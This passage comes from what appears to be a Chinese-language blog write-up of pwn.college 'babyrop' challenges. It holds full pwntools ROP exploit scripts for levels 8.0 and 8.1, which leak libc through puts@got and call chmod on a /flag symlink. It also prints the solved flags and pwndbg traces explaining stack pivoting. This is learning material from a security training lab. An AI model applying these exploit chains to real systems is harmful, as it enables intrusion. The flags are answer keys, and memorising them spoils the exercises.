        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(leak(target))

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{g7Ura4DbaSnnNgm8JQPQ2XM6c_l.0FN1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 8.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ROP with libc, no free leak this time!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这次没有 &lt;a href=&quot;#level-70&quot;&gt;Level 7&lt;/a&gt; 那么愚蠢的泄漏了，需要我们自己想办法获取 &lt;code&gt;libc&lt;/code&gt; 基地址。&lt;/p&gt;
&lt;p&gt;不过思路很简单，我们先获取 &lt;code&gt;elf.got[&quot;puts&quot;]&lt;/code&gt; 在全局偏移表中的地址，然后通过 &lt;code&gt;puts&lt;/code&gt; 函数泄漏这个地址指向的 &lt;code&gt;puts&lt;/code&gt; 在 &lt;code&gt;libc&lt;/code&gt; 中的实际地址。之后用它减去 &lt;code&gt;libc.symbols[&quot;puts&quot;]&lt;/code&gt; 就得到了 &lt;code&gt;libc&lt;/code&gt; 基地址。程序也随之结束了，不过我们可以再次返回到 &lt;code&gt;_start&lt;/code&gt; 重启整个程序，利用我们得到的基地址计算出 &lt;code&gt;chmod&lt;/code&gt; 的实际地址，然后调用它。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level8.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+384
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage, leaked_addr=None):
    rop = ROP(elf)
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

    padding_to_ret = b&quot;&quot;.ljust(0x38, b&quot;A&quot;)

    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.find_gadget([&quot;pop rsi&quot;, &quot;pop r15&quot;, &quot;ret&quot;]).address

    payload = padding_to_ret

    if stage == 1:
        payload += flat(
            pop_rdi_ret,
            elf.got[&quot;puts&quot;],
            elf.plt[&quot;puts&quot;],
            elf.symbols[&quot;_start&quot;],
        )

        return payload
    elif stage == 2:
        libc.address = leaked_addr - libc.symbols[&quot;puts&quot;]

        filename = next(elf.search(b&quot;GNU&quot;))
        mode = 0o4

        payload += flat(
            pop_rdi_ret,
            filename,
            pop_rsi_pop_r15_ret,
            mode,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            libc.symbols[&quot;chmod&quot;],
        )

        return payload
    else:
        log.error(&quot;Incorrect stage number!&quot;)


def leak(target):
    target.recvuntil(b&quot;Leaving!\x0a&quot;)

    return int.from_bytes(target.recv(0x6), &quot;little&quot;)


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        payload = construct_payload(2, leak(target))

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(1)

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{oFCQDFxRqfNOwKX3jCEn79BN5cC.0VN1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 8.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ROP with libc, no free leak this time!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-80&quot;&gt;Level 8.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level8.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage, leaked_addr=None):
    rop = ROP(elf)
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

    padding_to_ret = b&quot;&quot;.ljust(0x78, b&quot;A&quot;)

    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.find_gadget([&quot;pop rsi&quot;, &quot;pop r15&quot;, &quot;ret&quot;]).address

    payload = padding_to_ret

    if stage == 1:
        payload += flat(
            pop_rdi_ret,
            elf.got[&quot;puts&quot;],
            elf.plt[&quot;puts&quot;],
            elf.symbols[&quot;_start&quot;],
        )

        return payload
    elif stage == 2:
        libc.address = leaked_addr - libc.symbols[&quot;puts&quot;]

        filename = next(elf.search(b&quot;GNU&quot;))
        mode = 0o4

        payload += flat(
            pop_rdi_ret,
            filename,
            pop_rsi_pop_r15_ret,
            mode,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            libc.symbols[&quot;chmod&quot;],
        )

        return payload
    else:
        log.error(&quot;Incorrect stage number!&quot;)


def leak(target):
    target.recvuntil(b&quot;Leaving!\x0a&quot;)

    return int.from_bytes(target.recv(0x6), &quot;little&quot;)


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        payload = construct_payload(2, leak(target))

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(1)

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Q0NC7L0dteUeHqynz_c9HjT-w2R.0lN1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 9.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform a stack pivot to gain control flow!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题得用栈迁移 (Stack pivot)，不错，新技巧++。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  _QWORD v4[3]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+1Ch] [rbp-24h]
  __int64 *v6; // [rsp+30h] [rbp-10h]
  int v7; // [rsp+3Ch] [rbp-4h]
  __int64 savedregs; // [rsp+40h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+48h] [rbp+8h] BYREF

  v5 = a1;
  v4[2] = a2;
  v4[1] = a3;
  puts(
    &quot;This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of&quot;);
  puts(&quot;challenges, you will become painfully familiar with the concept of Return Oriented Programming!\n&quot;);
  sp_ = (__int64)v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;This challenge doesn&apos;t give you much to work with, so you will have to be resourceful.&quot;);
  puts(&quot;What you&apos;d really like to know is the address of libc.&quot;);
  puts(&quot;In order to get the address of libc, you&apos;ll have to leak it yourself.&quot;);
  puts(&quot;An easy way to do this is to do what is known as a `puts(puts)`.&quot;);
  puts(&quot;The outer `puts` is puts@plt: this will actually invoke puts, thus initiating a leak.&quot;);
  puts(&quot;The inner `puts` is puts@got: this contains the address of puts in libc.&quot;);
  puts(&quot;Then you will need to continue executing a new ROP chain with addresses based on that leak.&quot;);
  puts(&quot;One easy way to do that is to just restart the binary by returning to its entrypoint.&quot;);
  puts(&quot;Previous challenges let you write your ROP chain directly onto the stack.&quot;);
  puts(&quot;This challenge is not so nice!&quot;);
  puts(&quot;Your input will be read to the .bss, and only a small part of it will be copied to the stack.&quot;);
  puts(&quot;You will need to figure out how to use stack pivoting to execute your full ropchain!&quot;);
  v7 = read(0, &amp;amp;unk_4150E0, 0x1000uLL);
  printf(&quot;Received %d bytes! This is potentially %d gadgets.\n&quot;, v7, v7 / 8);
  puts(&quot;Let&apos;s take a look at your chain! Note that we have no way to verify that the gadgets are executable&quot;);
  puts(&quot;from within this challenge. You will have to do that by yourself.&quot;);
  print_chain(&amp;amp;unk_4150E0, (unsigned int)(v7 / 8));
  v6 = &amp;amp;savedregs;
  memcpy(&amp;amp;retaddr, &amp;amp;unk_4150E0, 0x18uLL);
  printf(&quot;Of course, only %d bytes of the above ropchain was copied to the stack!\n&quot;, 24);
  puts(&quot;Let&apos;s take a look at just that part of the chain. To execute the rest, you&apos;ll have to pivot the stack!&quot;);
  print_chain(rp_, 3LL);
  return puts(&quot;Leaving!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接看调试吧：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x000000000040266c in challenge ()
------- tip of the day (disable with set show-tips off) -------
Use track-got enable|info|query to track GOT accesses - useful for hijacking control flow via writable GOT/PLT
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0x7fffc71bc828 —▸ 0x40275b (main+165) ◂— lea rdi, [rip + 0x107e]
 RBX  0x7fffc71bc978 —▸ 0x7fffc71bd635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
 RCX  0x7ebc87f1b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0x18
 RDI  0x7fffc71bc828 —▸ 0x40275b (main+165) ◂— lea rdi, [rip + 0x107e]
 RSI  0x4150e0 (data+65536) —▸ 0x40129d (__do_global_dtors_aux+29) ◂— pop rbp
 R8   0x17bdf010 ◂— 0
 R9   7
 R10  0x17bdf780 ◂— 0x17bc8d1f
 R11  0x202
 R12  1
 R13  0
 R14  0x7ebc888ab000 (_rtld_global) —▸ 0x7ebc888ac2e0 ◂— 0
 R15  0
 RBP  0x7fffc71bc820 —▸ 0x7fffc71bc850 —▸ 0x7fffc71bc8f0 —▸ 0x7fffc71bc950 ◂— 0
 RSP  0x7fffc71bc7e0 —▸ 0x7fffc71bc820 —▸ 0x7fffc71bc850 —▸ 0x7fffc71bc8f0 —▸ 0x7fffc71bc950 ◂— ...
 RIP  0x40266c (challenge+409) ◂— call 0x401170
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x40266c &amp;lt;challenge+409&amp;gt;    call   memcpy@plt                  &amp;lt;memcpy@plt&amp;gt;
        dest: 0x7fffc71bc828 —▸ 0x40275b (main+165) ◂— lea rdi, [rip + 0x107e]
        src: 0x4150e0 (data+65536) —▸ 0x40129d (__do_global_dtors_aux+29) ◂— pop rbp
        n: 0x18

   0x402671 &amp;lt;challenge+414&amp;gt;    mov    esi, 0x18               ESI =&amp;gt; 0x18
   0x402676 &amp;lt;challenge+419&amp;gt;    lea    rdi, [rip + 0x108b]     RDI =&amp;gt; 0x403708 ◂— &apos;Of course, only %d bytes of the above ropchain was...&apos;
   0x40267d &amp;lt;challenge+426&amp;gt;    mov    eax, 0                  EAX =&amp;gt; 0
   0x402682 &amp;lt;challenge+431&amp;gt;    call   printf@plt                  &amp;lt;printf@plt&amp;gt;

   0x402687 &amp;lt;challenge+436&amp;gt;    lea    rdi, [rip + 0x10ca]     RDI =&amp;gt; 0x403758 ◂— &quot;Let&apos;s take a look at just that part of the chain. ...&quot;
   0x40268e &amp;lt;challenge+443&amp;gt;    call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x402693 &amp;lt;challenge+448&amp;gt;    mov    rax, qword ptr [rip + 0x13a4e]     RAX, [rp_]
   0x40269a &amp;lt;challenge+455&amp;gt;    mov    esi, 3                             ESI =&amp;gt; 3
   0x40269f &amp;lt;challenge+460&amp;gt;    mov    rdi, rax
   0x4026a2 &amp;lt;challenge+463&amp;gt;    call   print_chain                 &amp;lt;print_chain&amp;gt;
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffc71bc7e0 —▸ 0x7fffc71bc820 —▸ 0x7fffc71bc850 —▸ 0x7fffc71bc8f0 —▸ 0x7fffc71bc950 ◂— ...
01:0008│-038 0x7fffc71bc7e8 —▸ 0x7fffc71bc988 —▸ 0x7fffc71bd66a ◂— &apos;MOTD_SHOWN=pam&apos;
02:0010│-030 0x7fffc71bc7f0 —▸ 0x7fffc71bc978 —▸ 0x7fffc71bd635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
03:0018│-028 0x7fffc71bc7f8 ◂— 0x1c71bc978
04:0020│-020 0x7fffc71bc800 —▸ 0x7fffc71bc978 —▸ 0x7fffc71bd635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
05:0028│-018 0x7fffc71bc808 ◂— 1
06:0030│-010 0x7fffc71bc810 —▸ 0x7fffc71bc820 —▸ 0x7fffc71bc850 —▸ 0x7fffc71bc8f0 —▸ 0x7fffc71bc950 ◂— ...
07:0038│-008 0x7fffc71bc818 ◂— 0x38888ab000
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x40266c challenge+409
   1         0x40275b main+165
   2   0x7ebc87e34e08
   3   0x7ebc87e34ecc __libc_start_main+140
   4         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; i frame
Stack level 0, frame at 0x7fffc71bc830:
 rip = 0x40266c in challenge; saved rip = 0x40275b
 called by frame at 0x7fffc71bc860
 Arglist at 0x7fffc71bc820, args:
 Locals at 0x7fffc71bc820, Previous frame&apos;s sp is 0x7fffc71bc830
 Saved registers:
  rbp at 0x7fffc71bc820, rip at 0x7fffc71bc828
pwndbg&amp;gt; p/d 0x18
$1 = 24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在执行 &lt;code&gt;memcpy&lt;/code&gt; 之前有一个 &lt;code&gt;read&lt;/code&gt;，可以读取 &lt;code&gt;0x1000&lt;/code&gt; bytes 输入到数据段 &lt;code&gt;0x4150e0 (data+65536)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;虽然大小足够大，但因为是读到数据段，所以我们不能通过 &lt;code&gt;read&lt;/code&gt; 覆盖返回地址，那么很显然，问题就出这个 &lt;code&gt;memcpy&lt;/code&gt; 上了。我们注意到它把数据从 &lt;code&gt;0x4150e0 (data+65536)&lt;/code&gt; 复制到 &lt;code&gt;0x7fffc71bc828&lt;/code&gt;，注意到这个地址正是我们的返回地址，但是它又限制了我们只能复制 &lt;code&gt;0x18&lt;/code&gt; bytes，也就是三条指令到 &lt;code&gt;0x7fffc71bc828&lt;/code&gt;，故我们要是想直接把完整的 payload 通过一次 &lt;code&gt;memcpy&lt;/code&gt; 执行完是不可能的。如此限制，有何破解之法？当然是栈迁移！通过栈迁移我们可以得到一个更大的空间来发挥，而不用受限于这小小的 &lt;code&gt;0x18&lt;/code&gt; bytes 的空间。&lt;/p&gt;
&lt;p&gt;简单来讲一下栈迁移原理。我们知道 &lt;code&gt;leave&lt;/code&gt; 指令实际上做的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov rsp, rbp
pop rbp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我们只要控制 &lt;code&gt;rbp&lt;/code&gt; 指向我们想到的新的栈的地址，就实现了栈迁移，之后所有 gadgets 的操作都基于新的栈。至于后面那条 &lt;code&gt;pop rbp&lt;/code&gt; 倒是无所谓，我们重点关注的是 &lt;code&gt;rsp&lt;/code&gt; 的地址，因为一系列 gadgets 都是通过 &lt;code&gt;ret&lt;/code&gt; 连接的，&lt;code&gt;ret&lt;/code&gt; 做的就是 &lt;code&gt;pop rip&lt;/code&gt;，这都有关于 &lt;code&gt;rsp&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;当然，可以实现栈迁移的方法不止 &lt;code&gt;leave; ret&lt;/code&gt; 一种，能改变 &lt;code&gt;rsp&lt;/code&gt; 的都可以想办法用来做栈迁移，这个自己悟去吧。&lt;/p&gt;
&lt;p&gt;那么现在的问题是，迁移到哪里？首先肯定得是 &lt;code&gt;rw&lt;/code&gt; 区吧，不然怎么实现 ROP。一个比较常见的方法应该是迁移到 &lt;code&gt;.bss&lt;/code&gt; 段。pwntools 还是很方便的，通过 &lt;code&gt;elf.bss()&lt;/code&gt; 即可得到当前程序的 &lt;code&gt;.bss&lt;/code&gt; 段地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x000000000040266c in challenge ()
------- tip of the day (disable with set show-tips off) -------
Want to display each context panel in a separate tmux window? See https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md#splitting--layouting-context
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0x7fff4c2cfca8 —▸ 0x40275b (main+165) ◂— lea rdi, [rip + 0x107e]
 RBX  0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
 RCX  0x7d78a471b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0x18
 RDI  0x7fff4c2cfca8 —▸ 0x40275b (main+165) ◂— lea rdi, [rip + 0x107e]
 RSI  0x4150e0 (data+65536) —▸ 0x40129d (__do_global_dtors_aux+29) ◂— pop rbp
 R8   0x27643010 ◂— 0
 R9   7
 R10  0x27643780 ◂— 0x27664083
 R11  0x202
 R12  1
 R13  0
 R14  0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
 R15  0
 RBP  0x7fff4c2cfca0 —▸ 0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— 0
 RSP  0x7fff4c2cfc60 —▸ 0x7fff4c2cfca0 —▸ 0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— ...
 RIP  0x40266c (challenge+409) ◂— call 0x401170
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x40266c &amp;lt;challenge+409&amp;gt;    call   memcpy@plt                  &amp;lt;memcpy@plt&amp;gt;
        dest: 0x7fff4c2cfca8 —▸ 0x40275b (main+165) ◂— lea rdi, [rip + 0x107e]
        src: 0x4150e0 (data+65536) —▸ 0x40129d (__do_global_dtors_aux+29) ◂— pop rbp
        n: 0x18

   0x402671 &amp;lt;challenge+414&amp;gt;    mov    esi, 0x18               ESI =&amp;gt; 0x18
   0x402676 &amp;lt;challenge+419&amp;gt;    lea    rdi, [rip + 0x108b]     RDI =&amp;gt; 0x403708 ◂— &apos;Of course, only %d bytes of the above ropchain was...&apos;
   0x40267d &amp;lt;challenge+426&amp;gt;    mov    eax, 0                  EAX =&amp;gt; 0
   0x402682 &amp;lt;challenge+431&amp;gt;    call   printf@plt                  &amp;lt;printf@plt&amp;gt;

   0x402687 &amp;lt;challenge+436&amp;gt;    lea    rdi, [rip + 0x10ca]     RDI =&amp;gt; 0x403758 ◂— &quot;Let&apos;s take a look at just that part of the chain. ...&quot;
   0x40268e &amp;lt;challenge+443&amp;gt;    call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x402693 &amp;lt;challenge+448&amp;gt;    mov    rax, qword ptr [rip + 0x13a4e]     RAX, [rp_]
   0x40269a &amp;lt;challenge+455&amp;gt;    mov    esi, 3                             ESI =&amp;gt; 3
   0x40269f &amp;lt;challenge+460&amp;gt;    mov    rdi, rax
   0x4026a2 &amp;lt;challenge+463&amp;gt;    call   print_chain                 &amp;lt;print_chain&amp;gt;
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff4c2cfc60 —▸ 0x7fff4c2cfca0 —▸ 0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— ...
01:0008│-038 0x7fff4c2cfc68 —▸ 0x7fff4c2cfe08 —▸ 0x7fff4c2d066a ◂— &apos;MOTD_SHOWN=pam&apos;
02:0010│-030 0x7fff4c2cfc70 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
03:0018│-028 0x7fff4c2cfc78 ◂— 0x14c2cfdf8
04:0020│-020 0x7fff4c2cfc80 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
05:0028│-018 0x7fff4c2cfc88 ◂— 1
06:0030│-010 0x7fff4c2cfc90 —▸ 0x7fff4c2cfca0 —▸ 0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— ...
07:0038│-008 0x7fff4c2cfc98 ◂— 0x38a4fd4000
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x40266c challenge+409
   1         0x40275b main+165
   2   0x7d78a4634e08
   3   0x7d78a4634ecc __libc_start_main+140
   4         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; p/x $rsi
$1 = 0x4150e0
pwndbg&amp;gt; c
Continuing.

Breakpoint 2, 0x00000000004026b5 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX  9
 RBX  0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
 RCX  0x7d78a471b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
*RDX  0
*RDI  0x7d78a47f8710 ◂— 0
*RSI  0x7d78a47f7643 (_IO_2_1_stdout_+131) ◂— 0x7f8710000000000a /* &apos;\n&apos; */
*R8   0x20710
 R9   7
*R10  0x27643840 ◂— 0
 R11  0x202
 R12  1
 R13  0
 R14  0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
 R15  0
*RBP  0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— 0
*RSP  0x7fff4c2cfca8 —▸ 0x40129d (__do_global_dtors_aux+29) ◂— pop rbp
*RIP  0x4026b5 (challenge+482) ◂— ret
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x4026b5 &amp;lt;challenge+482&amp;gt;               ret                                &amp;lt;__do_global_dtors_aux+29&amp;gt;
    ↓
   0x40129d &amp;lt;__do_global_dtors_aux+29&amp;gt;    pop    rbp     RBP =&amp;gt; 0x4050a0 (stdout@@GLIBC_2.2.5)
   0x40129e &amp;lt;__do_global_dtors_aux+30&amp;gt;    ret                                &amp;lt;print_gadget+498&amp;gt;
    ↓
   0x4016ab &amp;lt;print_gadget+498&amp;gt;            leave
   0x4016ac &amp;lt;print_gadget+499&amp;gt;            ret                                &amp;lt;0&amp;gt;
    ↓



─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff4c2cfca8 —▸ 0x40129d (__do_global_dtors_aux+29) ◂— pop rbp
01:0008│-020 0x7fff4c2cfcb0 —▸ 0x4050a0 (stdout@@GLIBC_2.2.5) —▸ 0x7d78a47f75c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:0010│-018 0x7fff4c2cfcb8 —▸ 0x4016ab (print_gadget+498) ◂— leave
03:0018│-010 0x7fff4c2cfcc0 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
04:0020│-008 0x7fff4c2cfcc8 ◂— 0x14c2cfdf8
05:0028│ rbp 0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— 0
06:0030│+008 0x7fff4c2cfcd8 —▸ 0x7d78a4634e08 ◂— mov edi, eax
07:0038│+010 0x7fff4c2cfce0 —▸ 0x7fff4c2cfd20 —▸ 0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x4026b5 challenge+482
   1         0x40129d __do_global_dtors_aux+29
   2         0x4050a0 stdout@@GLIBC_2.2.5
   3         0x4016ab print_gadget+498
   4   0x7d78a4634e08
   5   0x7d78a4634ecc __libc_start_main+140
   6         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; ni
0x000000000040129d in __do_global_dtors_aux ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  9
 RBX  0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
 RCX  0x7d78a471b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0
 RDI  0x7d78a47f8710 ◂— 0
